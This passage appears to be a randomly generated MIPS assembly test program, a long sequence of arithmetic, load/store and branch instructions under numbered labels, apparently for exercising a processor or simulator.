0($1) mtlo $1 mtlo $1 TAG235: mthi $1 lui $4, 1 multu $1, $1 lui $1, 14 TAG236: mtlo $1 mtlo $1 mtlo $1 lui $2, 5 TAG237: sra $2, $2, 10 sltu $3, $2, $2 mflo $3 lbu $3, -320($2) TAG238: lui $3, 6 bgez $3, TAG239 mfhi $2 mthi $2 TAG239: bgtz $2, TAG240 mtlo $2 multu $2, $2 mfhi $2 TAG240: lui $1, 9 addu $1, $2, $1 sll $0, $0, 0 srlv $2, $2, $2 TAG241: lui $1, 0 sh $2, 0($2) addu $1, $1, $1 addi $2, $2, 15 TAG242: lui $4, 14 divu $4, $2 bne $2, $4, TAG243 addiu $3, $2, 8 TAG243: mult $3, $3 mult $3, $3 sb $3, 0($3) bgtz $3, TAG244 TAG244: multu $3, $3 mthi $3 or $3, $3, $3 subu $3, $3, $3 TAG245: lui $1, 15 addiu $4, $1, 0 mthi $3 mtlo $4 TAG246: blez $4, TAG247 mult $4, $4 bltz $4, TAG247 sll $0, $0, 0 TAG247: mflo $1 lui $3, 1 sw $1, 0($1) mult $3, $1 TAG248: lui $4, 11 mflo $2 lw $2, 0($2) bne $2, $2, TAG249 TAG249: ori $1, $2, 14 bltz $1, TAG250 lh $2, 0($1) mthi $2 TAG250: mult $2, $2 mflo $1 sllv $2, $2, $1 lbu $3, 0($2) TAG251: lbu $4, 0($3) beq $3, $3, TAG252 mflo $1 mtlo $4 TAG252: mflo $2 mflo $1 lui $3, 6 bne $2, $1, TAG253 TAG253: mthi $3 beq $3, $3, TAG254 mflo $3 multu $3, $3 TAG254: mflo $2 beq $3, $2, TAG255 addiu $3, $2, 12 mtlo $3 TAG255: lhu $3, 0($3) blez $3, TAG256 lui $4, 15 beq $4, $3, TAG256 TAG256: sll $3, $4, 8 lui $3, 1 sll $0, $0, 0 bne $3, $4, TAG257 TAG257: mult $4, $4 sll $0, $0, 0 lw $2, 0($2) lui $2, 6 TAG258: nor $1, $2, $2 mthi $1 mthi $1 addiu $1, $2, 6 TAG259: nor $1, $1, $1 and $3, $1, $1 sll $0, $0, 0 mfhi $1 TAG260: beq $1, $1, TAG261 mtlo $1 mflo $1 multu $1, $1 TAG261: multu $1, $1 lui $2, 7 bltz $1, TAG262 sll $0, $0, 0 TAG262: div $3, $3 sll $0, $0, 0 bne $3, $3, TAG263 xor $2, $3, $1 TAG263: lbu $2, 0($2) bltz $2, TAG264 sb $2, 0($2) mult $2, $2 TAG264: bne $2, $2, TAG265 lui $3, 9 and $3, $2, $3 bne $3, $3, TAG265 TAG265: multu $3, $3 blez $3, TAG266 sb $3, 0($3) bgez $3, TAG266 TAG266: mfhi $4 lui $2, 3 mthi $2 mthi $4 TAG267: sll $0, $0, 0 multu $1, $1 mflo $1 slti $2, $1, 9 TAG268: bgez $2, TAG269 mthi $2 sb $2, 0($2) mflo $4 TAG269: mflo $1 lui $4, 0 sll $0, $0, 0 lui $2, 4 TAG270: mthi $2 sll $0, $0, 0 mflo $2 sll $0, $0, 0 TAG271: mfhi $3 beq $3, $1, TAG272 andi $3, $1, 11 divu $3, $3 TAG272: sb $3, 0($3) mthi $3 mfhi $1 lb $1, 0($1) TAG273: lui $3, 11 blez $3, TAG274 mthi $3 lui $3, 0 TAG274: lui $3, 2 bgez $3, TAG275 mfhi $2 lui $3, 7 TAG275: multu $3, $3 lui $3, 4 and $4, $3, $3 ori $3, $3, 2 TAG276: divu $3, $3 div $3, $3 nor $1, $3, $3 mfhi $4 TAG277: bne $4, $4, TAG278 xor $3, $4, $4 bne $3, $3, TAG278 lbu $2, 0($4) TAG278: sw $2, 0($2) xor $2, $2, $2 srl $2, $2, 13 bgtz $2, TAG279 TAG279: mfhi $3 beq $2, $2, TAG280 mflo $4 mfhi $2 TAG280: sw $2, 0($2) bgtz $2, TAG281 mthi $2 mflo $1 TAG281: multu $1, $1 mult $1, $1 bgez $1, TAG282 lui $1, 11 TAG282: lui $2, 10 sll $0, $0, 0 lui $1, 8 beq $1, $1, TAG283 TAG283: mfhi $3 lui $4, 7 srl $2, $3, 7 slt $3, $4, $2 TAG284: mthi $3 mfhi $1 lb $1, 0($3) lb $2, 0($3) TAG285: lw $1, 0($2) mflo $2 divu $2, $2 sb $2, 0($2) TAG286: multu $2, $2 xori $4, $2, 10 multu $2, $2 sb $2, 0($2) TAG287: sb $4, 0($4) beq $4, $4, TAG288 mflo $3 srl $3, $4, 11 TAG288: mtlo $3 sb $3, 0($3) sb $3, 0($3) sltu $2, $3, $3 TAG289: mthi $2 mfhi $1 lui $1, 1 mfhi $4 TAG290: mflo $3 mflo $4 sb $4, 0($4) sb $3, 0($3) TAG291: mthi $4 mfhi $1 beq $4, $4, TAG292 multu $4, $1 TAG292: lui $4, 13 sllv $1, $1, $4 bgez $1, TAG293 mfhi $2 TAG293: bltz $2, TAG294 mthi $2 beq $2, $2, TAG294 lb $3, 0($2) TAG294: blez $3, TAG295 multu $3, $3 lbu $2, 0($3) multu $2, $2 TAG295: multu $2, $2 andi $4, $2, 4 multu $4, $2 mtlo $2 TAG296: bne $4, $4, TAG297 mthi $4 mfhi $4 bne $4, $4, TAG297 TAG297: sltu $3, $4, $4 sw $3, 0($3) mtlo $3 bltz $3, TAG298 TAG298: slt $2, $3, $3 sh $3, 0($2) xor $3, $3, $2 mthi $3 TAG299: xor $1, $3, $3 mult $1, $1 subu $2, $1, $1 beq $2, $1, TAG300 TAG300: lui $4, 2 mflo $1 mtlo $4 beq $1, $2, TAG301 TAG301: mthi $1 sra $2, $1, 5 sh $2, 0($2) mfhi $3 TAG302: addiu $4, $3, 4 subu $4, $4, $4 srlv $4, $4, $4 sh $4, 0($4) TAG303: or $3, $4, $4 blez $3, TAG304 lui $2, 4 divu $3, $4 TAG304: nor $1, $2, $2 mfhi $2 mfhi $3 mflo $2 TAG305: lui $3, 11 sll $0, $0, 0 bne $2, $3, TAG306 sll $0, $0, 0 TAG306: mthi $4 multu $4, $4 multu $4, $4 mtlo $4 TAG307: mfhi $3 mfhi $1 mfhi $1 lui $4, 3 TAG308: srl $1, $4, 7 lb $4, -1536($1) lb $4, 0($4) lb $2, 0($4) TAG309: sh $2, 0($2) bgtz $2, TAG310 sub $1, $2, $2 mult $1, $1 TAG310: mtlo $1 sh $1, 0($1) lui $1, 5 sll $0, $0, 0 TAG311: sll $0, $0, 0 bne $1, $1, TAG312 sll $0, $0, 0 lui $3, 15 TAG312: and $4, $3, $3 sll $0, $0, 0 mfhi $2 srav $4, $4, $4 TAG313: xor $2, $4, $4 sll $0, $0, 0 bne $4, $2, TAG314 sll $0, $0, 0 TAG314: lui $2, 13 bgtz $2, TAG315 subu $2, $2, $2 mflo $2 TAG315: mfhi $2 lui $4, 0 multu $2, $4 bgez $2, TAG316 TAG316: mfhi $4 mult $4, $4 mthi $4 sltiu $3, $4, 8 TAG317: and $2, $3, $3 divu $2, $3 slti $1, $2, 13 mflo $4 TAG318: lbu $3, 0($4) bne $4, $4, TAG319 srav $1, $4, $3 mfhi $2 TAG319: mthi $2 mflo $3 mult $2, $3 mult $3, $2 TAG320: sb $3, 0($3) mthi $3 mfhi $4 lui $2, 14 TAG321: sll $0, $0, 0 div $2, $2 sll $0, $0, 0 bne $2, $2, TAG322 TAG322: sb $4, 0($4) lb $2, 0($4) mult $2, $2 lbu $3, 0($4) TAG323: mthi $3 srl $4, $3, 11 andi $4, $4, 9 sw $4, 0($4) TAG324: bltz $4, TAG325 sh $4, 0($4) lui $3, 15 sll $3, $3, 12 TAG325: srl $4, $3, 5 bne $3, $4, TAG326 multu $4, $3 mflo $3 TAG326: multu $3, $3 bne $3, $3, TAG327 mflo $3 and $4, $3, $3 TAG327: mfhi $1 bne $1, $4, TAG328 mtlo $1 nor $4, $4, $1 TAG328: lhu $3, 0($4) mthi $4 mflo $1 sltu $2, $4, $3 TAG329: lui $4, 5 lh $2, 0($2) beq $2, $2, TAG330 lui $1, 9 TAG330: sll $0, $0, 0 lui $2, 10 sltiu $3, $1, 3 andi $1, $3, 10 TAG331: bne $1, $1, TAG332 lb $2, 0($1) sll $1, $2, 12 lui $3, 12 TAG332: beq $3, $3, TAG333 mthi $3 mflo $3 bne $3, $3, TAG333 TAG333: mult $3, $3 bltz $3, TAG334 mflo $3 bgtz $3, TAG334 TAG334: lhu $4, 0($3) or $3, $3, $3 or $4, $4, $3 bne $3, $3, TAG335 TAG335: sb $4, 0($4) bltz $4, TAG336 lui $2, 10 srav $3, $4, $2 TAG336: beq $3, $3, TAG337 lui $4, 12 mtlo $4 bne $3, $3, TAG337 TAG337: mthi $4 and $3, $4, $4 mflo $4 sw $4, 0($4) TAG338: srlv $1, $4, $4 bgez $4, TAG339 sb $1, 0($1) lui $3, 6 TAG339: mflo $4 sll $0, $0, 0 sll $0, $0, 0 sll $0, $0, 0 TAG340: mthi $3 nor $2, $3, $3 sll $0, $0, 0 sub $4, $3, $1 TAG341: mtlo $4 sll $0, $0, 0 sll $0, $0, 0 lui $3, 0 TAG342: sltiu $1, $3, 5 bne $1, $1, TAG343 addu $2, $1, $3 subu $2, $2, $1 TAG343: lbu $1, 0($2) sh $1, 0($1) bne $2, $1, TAG344 lui $1, 12 TAG344: lui $1, 6 bgtz $1, TAG345 mthi $1 lui $4, 0 TAG345: srlv $3, $4, $4 divu $3, $3 sll $2, $3, 12 ori $4, $2, 14 TAG346: sll $0, $0, 0 blez $4, TAG347 sll $0, $0, 0 lui $4, 11 TAG347: mflo $2 lbu $4, 0($2) mult $2, $4 beq $2, $4, TAG348 TAG348: xor $1, $4, $4 srav $2, $1, $4 multu $4, $1 lui $2, 7 TAG349: bltz $2, TAG350 addu $3, $2, $2 sllv $2, $2, $3 and $3, $3, $2 TAG350: bltz $3, TAG351 div $3, $3 mfhi $1 sll $0, $0, 0 TAG351: nor $2, $1, $1 mfhi $2 add $4, $1, $2 mflo $4 TAG352: mtlo $4 lui $2, 13 sll $0, $0, 0 sb $2, 0($4) TAG353: mfhi $3 mtlo $3 beq $3, $3, TAG354 mfhi $1 TAG354: lh $1, 0($1) lui $3, 13 sll $4, $1, 11 or $1, $1, $1 TAG355: sll $4, $1, 1 lb $1, 0($4) bne $4, $1, TAG356 lh $3, 0($4) TAG356: mflo $4 mfhi $1 sb $1, 0($4) mthi $3 TAG357: bne $1, $1, TAG358 sb $1, 0($1) bltz $1, TAG358 sw $1, 0($1) TAG358: mult $1, $1 beq $1, $1, TAG359 sh $1, 0($1) blez $1, TAG359 TAG359: mfhi $1 lh $2, 0($1) addiu $2, $1, 10 bltz $2, TAG360 TAG360: lui $3, 9 sltu $4, $3, $3 sh $3, 0($2) lui $1, 1 TAG361: lui $4, 14 bltz $4, TAG362 sll $0, $0, 0 srl $1, $4, 14 TAG362: mflo $2 blez $2, TAG363 mthi $1 lui $4, 10 TAG363: mthi $4 mthi $4 addiu $2, $4, 2 sll $0, $0, 0 TAG364: sll $0, $0, 0 bltz $2, TAG365 mflo $2 sll $2, $2, 12 TAG365: lui $3, 4 mflo $4 beq $2, $4, TAG366 andi $1, $4, 7 TAG366: mthi $1 bgez $1, TAG367 lbu $4, 0($1) mflo $2 TAG367: mfhi $4 mtlo $2 slt $2, $2, $2 sw $2, 0($4) TAG368: bne $2, $2, TAG369 lui $3, 8 sll $0, $0, 0 divu $3, $3 TAG369: ori $1, $3, 9 beq $1, $3, TAG370 lui $2, 4 and $1, $3, $3 TAG370: blez $1, TAG371 and $1, $1, $1 sll $0, $0, 0 blez $1, TAG371 TAG371: lui $4, 6 multu $1, $1 sltu $2, $1, $4 xor $4, $1, $4 TAG372: mthi $4 divu $4, $4 addiu $2, $4, 7 sll $0, $0, 0 TAG373: sll $0, $0, 0 divu $3, $3 addu $4, $3, $3 blez $4, TAG374 TAG374: sll $0, $0, 0 mflo $2 lui $2, 4 mthi $2 TAG375: xor $1, $2, $2 mthi $1 mult $2, $2 bgtz $1, TAG376 TAG376: lui $1, 14 sll $0, $0, 0 div $1, $1 beq $1, $1, TAG377 TAG377: mfhi $3 bne $3, $3, TAG378 multu $3, $2 mflo $2 TAG378: lui $3, 9 ori $2, $3, 2 bne $2, $2, TAG379 mtlo $2 TAG379: sll $0, $0, 0 bltz $2, TAG380 sll $0, $0, 0 srav $3, $2, $2 TAG380: lui $4, 6 xori $3, $3, 2 slt $3, $4, $3 blez $3, TAG381 TAG381: mthi $3 lui $4, 14 mflo $1 andi $1, $3, 1 TAG382: lui $4, 12 sll $0, $0, 0 sll $0, $0, 0 subu $3, $1, $1 TAG383: blez $3, TAG384 lui $4, 1 mtlo $3 lb $2, 0($4) TAG384: subu $4, $2, $2 mfhi $2 bne $2, $4, TAG385 lui $3, 3 TAG385: mtlo $3 or $3, $3, $3 mtlo $3 bltz $3, TAG386 TAG386: mthi $3 slti $3, $3, 10 mtlo $3 blez $3, TAG387 TAG387: lhu $4, 0($3) lui $3, 13 sll $0, $0, 0 mflo $2 TAG388: bgtz $2, TAG389 lb $2, 0($2) xor $1, $2, $2 mfhi $3 TAG389: bgtz $3, TAG390 mthi $3 srl $1, $3, 0 sb $1, 0($3) TAG390: lui $4, 15 mflo $1 beq $4, $4, TAG391 sw $4, 0($1) TAG391: sra $2, $1, 13 lhu $3, 0($2) mflo $4 sw $3, 0($2) TAG392: mtlo $4 multu $4, $4 sllv $1, $4, $4 slti $1, $4, 6 TAG393: mflo $1 lh $1, 0($1) bne $1, $1, TAG394 xor $2, $1, $1 TAG394: sh $2, 0($2) sh $2, 0($2) mflo $1 sh $2, 0($2) TAG395: bgez $1, TAG396 lui $1, 1 beq $1, $1, TAG396 lb $1, 0($1) TAG396: bne $1, $1, TAG397 sll $0, $0, 0 subu $1, $1, $1 mtlo $1 TAG397: mflo $2 sh $2, 0($2) lhu $4, 0($2) mult $1, $1 TAG398: addiu $4, $4, 12 bgez $4, TAG399 sh $4, 0($4) mthi $4 TAG399: beq $4, $4, TAG400 sltiu $4, $4, 7 lui $3, 6 addi $1, $4, 8 TAG400: and $3, $1, $1 sw $1, 0($1) mult $1, $1 mtlo $3 TAG401: mflo $2 bne $2, $3, TAG402 lui $3, 15 sll $0, $0, 0 TAG402: lui $2, 4 lui $3, 14 lui $4, 10 bgez $2, TAG403 TAG403: mfhi $1 slti $2, $1, 14 mfhi $3 mult $3, $1 TAG404: mthi $3 bne $3, $3, TAG405 sra $4, $3, 11 bltz $4, TAG405 TAG405: mtlo $4 mfhi $3 sh $4, 0($3) mflo $3 TAG406: bltz $3, TAG407 sll $1, $3, 11 sw $1, 0($3) bne $3, $1, TAG407 TAG407: sltu $4, $1, $1 mult $1, $1 mult $4, $4 lhu $2, 0($1) TAG408: mtlo $2 mult $2, $2 mtlo $2 lui $2, 8 TAG409: bltz $2, TAG410 mult $2, $2 mflo $4 xor $2, $2, $2 TAG410: mflo $4 bltz $2, TAG411 lb $2, 0($2) blez $2, TAG411 TAG411: subu $2, $2, $2 multu $2, $2 bltz $2, TAG412 mfhi $2 TAG412: sw $2, 0($2) sb $2, 0($2) lbu $2, 0($2) beq $2, $2, TAG413 TAG413: mult $2, $2 multu $2, $2 beq $2, $2, TAG414 mthi $2 TAG414: slt $3, $2, $2 add $2, $3, $3 sllv $1, $3, $2 xori $4, $1, 7 TAG415: lb $1, 0($4) sw $1, 0($1) subu $1, $4, $4 sltiu $2, $4, 11 TAG416: sb $2, 0($2) srl $2, $2, 0 lui $2, 5 mflo $2 TAG417: bne $2, $2, TAG418 mtlo $2 sh $2, 0($2) mflo $1 TAG418: addi $2, $1, 13 beq $1, $1, TAG419 lui $4, 6 xor $2, $2, $2 TAG419: lui $1, 14 bne $1, $1, TAG420 mfhi $1 lui $2, 9 TAG420: addu $3, $2, $2 lui $3, 15 bne $2, $3, TAG421 sltu $3, $3, $2 TAG421: sh $3, 0($3) mthi $3 bne $3, $3, TAG422 sra $2, $3, 14 TAG422: mult $2, $2 beq $2, $2, TAG423 mfhi $1 lui $3, 7 TAG423: mtlo $3 mfhi $3 beq $3, $3, TAG424 lui $1, 2 TAG424: mult $1, $1 sll $0, $0, 0 lui $2, 4 bgtz $1, TAG425 TAG425: mtlo $2 divu $2, $2 sll $0, $0, 0 mtlo $2 TAG426: mfhi $2 mtlo $2 mtlo $2 mflo $3 TAG427: xor $1, $3, $3 lh $1, 0($3) slt $3, $3, $1 mtlo $1 TAG428: beq $3, $3, TAG429 sh $3, 0($3) mult $3, $3 sh $3, 0($3) TAG429: mtlo $3 add $3, $3, $3 bgez $3, TAG430 mfhi $2 TAG430: sb $2, 0($2) lbu $1, 0($2) lb $4, 0($2) bne $4, $2, TAG431 TAG431: xori $1, $4, 11 bne $4, $1, TAG432 andi $2, $4, 8 mthi $2 TAG432: or $3, $2, $2 multu $2, $2 beq $3, $2, TAG433 addiu $3, $2, 8 TAG433: addiu $4, $3, 8 lui $3, 3 mthi $3 divu $4, $3 TAG434: lui $2, 4 sll $0, $0, 0 lui $4, 7 mflo $2 TAG435: multu $2, $2 lui $4, 4 bltz $4, TAG436 srl $2, $2, 10 TAG436: sllv $4, $2, $2 sh $4, 0($4) xori $1, $4, 14 mthi $1 TAG437: divu $1, $1 mtlo $1 bgtz $1, TAG438 lui $2, 14 TAG438: srl $4, $2, 4 sll $0, $0, 0 sll $1, $2, 9 sll $0, $0, 0 TAG439: beq $1, $1, TAG440 mult $1, $1 lhu $1, 0($1) mult $1, $1 TAG440: bltz $1, TAG441 mult $1, $1 mtlo $1 div $1, $1 TAG441: lui $3, 5 mthi $1 sll $0, $0, 0 bgtz $3, TAG442 TAG442: addiu $1, $2, 2 sll $0, $0, 0 lui $2, 10 sra $1, $2, 3 TAG443: sll $0, $0, 0 sll $0, $0, 0 div $1, $1 blez $1, TAG444 TAG444: srlv $1, $1, $1 ori $4, $1, 11 addu $2, $1, $1 multu $2, $2 TAG445: bltz $2, TAG446 srl $4, $2, 15 bgez $4, TAG446 lui $2, 5 TAG446: sll $0, $0, 0 subu $3, $2, $3 mflo $1 or $1, $3, $2 TAG447: xor $2, $1, $1 srlv $3, $2, $2 lui $1, 5 mflo $3 TAG448: sll $0, $0, 0 divu $1, $1 mflo $3 multu $1, $1 TAG449: beq $3, $3, TAG450 mfhi $4 mflo $4 mflo $1 TAG450: ori $1, $1, 7 addu $4, $1, $1 sll $0, $0, 0 sll $0, $0, 0 TAG451: sll $0, $0, 0 bgtz $4, TAG452 sll $0, $0, 0 beq $2, $2, TAG452 TAG452: lui $4, 0 mthi $4 bgtz $2, TAG453 multu $4, $2 TAG453: bne $4, $4, TAG454 sb $4, 0($4) mult $4, $4 beq $4, $4, TAG454 TAG454: lui $3, 2 mflo $2 mthi $3 srlv $1, $2, $4 TAG455: mtlo $1 mtlo $1 mthi $1 lui $1, 4 TAG456: addiu $2, $1, 7 sll $0, $0, 0 sll $0, $0, 0 lui $4, 1 TAG457: and $4, $4, $4 divu $4, $4 lui $1, 9 multu $4, $1 TAG458: srlv $1, $1, $1 sra $3, $1, 12 beq $1, $3, TAG459 sllv $3, $1, $3 TAG459: mflo $3 mult $3, $3 sw $3, 0($3) sub $1, $3, $3 TAG460: srav $4, $1, $1 nor $3, $1, $1 bgez $1, TAG461 lbu $1, 1($3) TAG461: addiu $1, $1, 7 lui $4, 13 slti $1, $4, 13 mthi $1 TAG462: beq $1, $1, TAG463 addiu $1, $1, 8 mfhi $2 sw $1, 0($1) TAG463: subu $2, $2, $2 multu $2, $2 mflo $4 blez $4, TAG464 TAG464: lui $1, 5 mthi $4 mflo $4 addu $3, $1, $4 TAG465: mfhi $3 mfhi $2 lui $4, 9 beq $3, $4, TAG466 TAG466: sll $0, $0, 0 sll $0, $0, 0 beq $4, $4, TAG467 mthi $4 TAG467: addiu $4, $4, 7 lui $1, 14 multu $4, $4 mtlo $4 TAG468: bne $1, $1, TAG469 subu $3, $1, $1 mflo $3 bgtz $1, TAG469 TAG469: mthi $3 xor $3, $3, $3 andi $2, $3, 1 mthi $3 TAG470: lhu $3, 0($2) lui $1, 5 beq $1, $3, TAG471 sltiu $2, $1, 15 TAG471: lw $1, 0($2) addiu $3, $1, 15 or $1, $2, $2 sb $1, 0($3) TAG472: mult $1, $1 lui $1, 8 bne $1, $1, TAG473 div $1, $1 TAG473: beq $1, $1, TAG474 addiu $2, $1, 14 bgtz $1, TAG474 slt $3, $2, $1 TAG474: bgez $3, TAG475 lui $1, 11 mult $3, $1 blez $3, TAG475 TAG475: mflo $3 lui $3, 4 mfhi $4 sltiu $4, $3, 8 TAG476: bne $4, $4, TAG477 lui $4, 9 lui $3, 12 lui $4, 7 TAG477: srav $1, $4, $4 mflo $3 bgtz $3, TAG478 srl $1, $4, 6 TAG478: lui $3, 6 mtlo $1 div $3, $1 mtlo $1 TAG479: beq $3, $3, TAG480 subu $4, $3, $3 lw $1, 0($3) mtlo $3 TAG480: mtlo $1 mtlo $1 beq $1, $1, TAG481 lui $1, 2 TAG481: mthi $1 mflo $3 beq $3, $1, TAG482 mfhi $4 TAG482: addu $3, $4, $4 sll $0, $0, 0 div $3, $3 sll $0, $0, 0 TAG483: div $1, $1 divu $1, $1 mtlo $1 sll $0, $0, 0 TAG484: lui $3, 7 bne $3, $3, TAG485 andi $3, $3, 15 sltu $1, $1, $3 TAG485: addi $3, $1, 15 sra $4, $1, 6 sh $4, 0($4) mult $1, $3 TAG486: mult $4, $4 bgez $4, TAG487 srav $2, $4, $4 mtlo $4 TAG487: lbu $1, 0($2) slti $4, $2, 4 mfhi $2 sltiu $3, $1, 1 TAG488: sb $3, 0($3) sb $3, 0($3) slti $1, $3, 2 bne $1, $1, TAG489 TAG489: multu $1, $1 sb $1, 0($1) ori $4, $1, 0 divu $4, $4 TAG490: lui $2, 1 mthi $2 mflo $2 mult $4, $2 TAG491: sb $2, 0($2) lui $3, 1 sll $0, $0, 0 lbu $1, 0($2) TAG492: mfhi $2 mtlo $2 div $1, $1 slti $1, $2, 1 TAG493: lbu $2, 0($1) nor $2, $1, $1 bgez $1, TAG494 sh $2, 2($2) TAG494: bgez $2, TAG495 lb $3, 2($2) mfhi $4 blez $3, TAG495 TAG495: mflo $3 lui $1, 8 mult $3, $4 mthi $4 TAG496: beq $1, $1, TAG497 lui $2, 9 mfhi $3 slti $1, $2, 9 TAG497: sll $0, $0, 0 multu $4, $1 slti $1, $1, 5 mthi $1 TAG498: lh $2, 0($1) mthi $1 lui $2, 0 lui $3, 13 TAG499: mflo $1 mult $1, $1 sll $0, $0, 0 sh $3, 0($1) TAG500: lui $2, 2 lhu $3, 0($1) bgez $2, TAG501 lw $3, 0($1) TAG501: mtlo $3 lui $4, 10 mult $4, $4 mflo $4 TAG502: beq $4, $4, TAG503 mflo $2 mthi $2 subu $1, $4, $2 TAG503: sh $1, 0($1) beq $1, $1, TAG504 sw $1, 0($1) lui $2, 14 TAG504: multu $2, $2 lh $3, 0($2) bltz $2, TAG505 lui $3, 14 TAG505: mtlo $3 beq $3, $3, TAG506 multu $3, $3 xor $1, $3, $3 TAG506: multu $1, $1 mthi $1 lui $2, 4 ori $1, $2, 0 TAG507: sll $0, $0, 0 srl $1, $1, 7 mtlo $1 mfhi $1 TAG508: xori $4, $1, 14 lui $4, 8 sw $4, 0($1) andi $3, $4, 7 TAG509: addi $2, $3, 6 mfhi $1 bgez $3, TAG510 addu $3, $2, $3 TAG510: sh $3, 0($3) beq $3, $3, TAG511 lui $1, 6 beq $3, $1, TAG511 TAG511: lui $2, 3 mtlo $2 bne $1, $2, TAG512 divu $1, $2 TAG512: mtlo $2 lui $4, 0 bne $2, $4, TAG513 multu $4, $4 TAG513: and $4, $4, $4 bne $4, $4, TAG514 multu $4, $4 lui $4, 6 TAG514: mult $4, $4 sll $0, $0, 0 slt $2, $4, $4 bne $2, $2, TAG515 TAG515: lb $3, 0($2) ori $3, $3, 13 lb $1, 0($3) mthi $3 TAG516: sh $1, 0($1) bgez $1, TAG517 mtlo $1 mflo $1 TAG517: lhu $2, 0($1) bltz $2, TAG518 sw $1, 0($1) mflo $2 TAG518: nor $2, $2, $2 bne $2, $2, TAG519 lui $2, 7 sll $0, $0, 0 TAG519: div $2, $2 bgez $2, TAG520 mflo $3 bne $3, $3, TAG520 TAG520: sb $3, 0($3) sltu $3, $3, $3 mflo $4 addi $3, $3, 13 TAG521: addu $3, $3, $3 mflo $2 mtlo $3 addiu $1, $2, 2 TAG522: lui $1, 14 and $1, $1, $1 lui $1, 1 bgtz $1, TAG523 TAG523: sll $0, $0, 0 mthi $2 bgtz $1, TAG524 lui $1, 9 TAG524: bgtz $1, TAG525 lui $3, 10 mflo $2 bgtz $2, TAG525 TAG525: lui $3, 2 and $2, $3, $2 mfhi $1 subu $4, $3, $3 TAG526: mfhi $4 mthi $4 xori $3, $4, 6 lbu $1, 0($3) TAG527: lw $3, 0($1) ori $3, $3, 7 lh $4, 0($1) bne $3, $1, TAG528 TAG528: sll $0, $0, 0 mtlo $4 mflo $4 and $3, $4, $4 TAG529: sw $3, -256($3) slti $1, $3, 15 lui $1, 13 lw $2, -256($3) TAG530: sh $2, -256($2) beq $2, $2, TAG531 mtlo $2 slti $4, $2, 14 TAG531: sll $0, $0, 0 lui $1, 7 lui $2, 15 sllv $1, $2, $2 TAG532: sll $0, $0, 0 divu $1, $1 beq $1, $1, TAG533 mflo $1 TAG533: lui $1, 9 bne $1, $1, TAG534 mflo $3 mthi $3 TAG534: nor $1, $3, $3 mtlo $3 bne $3, $3, TAG535 mflo $3 TAG535: mtlo $3 sb $3, 0($3) sb $3, 0($3) bgez $3, TAG536 TAG536: lui $1, 14 beq $1, $3, TAG537 lb $4, 0($3) lui $3, 8 TAG537: sll $4, $3, 4 mfhi $2 mflo $2 sll $2, $4, 13 TAG538: mult $2, $2 mflo $1 mtlo $1 mtlo $1 TAG539: mthi $1 bne $1, $1, TAG540 lui $3, 7 mfhi $1 TAG540: beq $1, $1, TAG541 lui $4, 12 div $1, $4 lbu $1, 0($4) TAG541: sw $1, 0($1) srlv $2, $1, $1 mthi $1 sb $1, 0($1) TAG542: bltz $2, TAG543 srl $4, $2, 8 mfhi $1 mflo $4 TAG543: mult $4, $4 bne $4, $4, TAG544 sh $4, 0($4) mflo $2 TAG544: xori $4, $2, 1 multu $2, $2 mfhi $2 mult $2, $4 TAG545: sltu $2, $2, $2 mult $2, $2 beq $2, $2, TAG546 mult $2, $2 TAG546: sh $2, 0($2) lb $4, 0($2) blez $2, TAG547 sw $4, 0($2) TAG547: ori $2, $4, 8 divu $4, $2 blez $2, TAG548 srl $4, $4, 8 TAG548: bne $4, $4, TAG549 multu $4, $4 mtlo $4 nor $4, $4, $4 TAG549: lui $2, 3 multu $2, $4 subu $2, $2, $4 xor $4, $2, $4 TAG550: sll $0, $0, 0 mfhi $1 addu $4, $1, $4 bne $4, $4, TAG551 TAG551: mflo $4 lui $4, 8 mfhi $1 mtlo $4 TAG552: and $3, $1, $1 bltz $1, TAG553 mfhi $2 addiu $4, $1, 2 TAG553: mfhi $3 slt $1, $3, $4 addu $2, $3, $3 beq $3, $1, TAG554 TAG554: sll $0, $0, 0 bne $3, $2, TAG555 mtlo $3 lui $3, 11 TAG555: lui $2, 12 sll $0, $0, 0 beq $2, $2, TAG556 sll $0, $0, 0 TAG556: mthi $4 addiu $3, $4, 15 blez $4, TAG557 addu $3, $4, $3 TAG557: mflo $2 subu $4, $2, $2 addu $3, $3, $4 bne $4, $2, TAG558 TAG558: mflo $4 mthi $3 sll $0, $0, 0 srl $3, $4, 7 TAG559: mthi $3 beq $3, $3, TAG560 mflo $2 mfhi $3 TAG560: mflo $2 lh $1, -1535($3) bgtz $3, TAG561 mult $1, $3 TAG561: lui $2, 7 mfhi $3 beq $2, $1, TAG562 sh $2, 0($3) TAG562: mult $3, $3 sb $3, 0($3) blez $3, TAG563 lui $4, 0 TAG563: sh $4, 0($4) beq $4, $4, TAG564 multu $4, $4 beq $4, $4, TAG564 TAG564: sw $4, 0($4) mflo $2 multu $4, $4 sw $4, 0($4) TAG565: mult $2, $2 mult $2, $2 mthi $2 bltz $2, TAG566 TAG566: or $1, $2, $2 sltiu $3, $2, 8 bne $3, $2, TAG567 mthi $3 TAG567: mthi $3 sb $3, 0($3) sllv $4, $3, $3 mthi $4 TAG568: bltz $4, TAG569 mthi $4 mtlo $4 xor $2, $4, $4 TAG569: mthi $2 lb $1, 0($2) lw $1, 0($2) beq $2, $2, TAG570 TAG570: divu $1, $1 mfhi $2 mtlo $2 lhu $3, -256($1) TAG571: nor $2, $3, $3 or $4, $3, $3 bltz $4, TAG572 mtlo $4 TAG572: divu $4, $4 addiu $3, $4, 12 mtlo $4 mfhi $1 TAG573: mult $1, $1 lui $3, 15 mflo $3 mthi $3 TAG574: bltz $3, TAG575 mult $3, $3 srl $1, $3, 10 beq $1, $3, TAG575 TAG575: sw $1, 0($1) andi $3, $1, 3 mthi $1 sll $4, $3, 13 TAG576: lui $3, 5 beq $4, $4, TAG577 multu $4, $4 sw $3, 0($4) TAG577: mtlo $3 mfhi $4 beq $3, $4, TAG578 sll $0, $0, 0 TAG578: sh $4, 0($4) mfhi $2 lui $2, 2 bgtz $2, TAG579 TAG579: mfhi $3 bgtz $3, TAG580 lh $2, 0($3) addu $3, $2, $2 TAG580: xori $3, $3, 9 mtlo $3 or $3, $3, $3 mthi $3 TAG581: lui $4, 14 mfhi $1 mult $4, $4 mtlo $4 TAG582: beq $1, $1, TAG583 mtlo $1 addiu $4, $1, 2 mfhi $2 TAG583: lui $2, 13 slti $1, $2, 9 mflo $3 bne $3, $2, TAG584 TAG584: lui $4, 9 div $4, $4 mtlo $4 srl $4, $4, 15 TAG585: mthi $4 mtlo $4 lui $2, 1 mtlo $2 TAG586: sll $0, $0, 0 mtlo $2 mfhi $1 sll $0, $0, 0 TAG587: mult $3, $3 sra $2, $3, 15 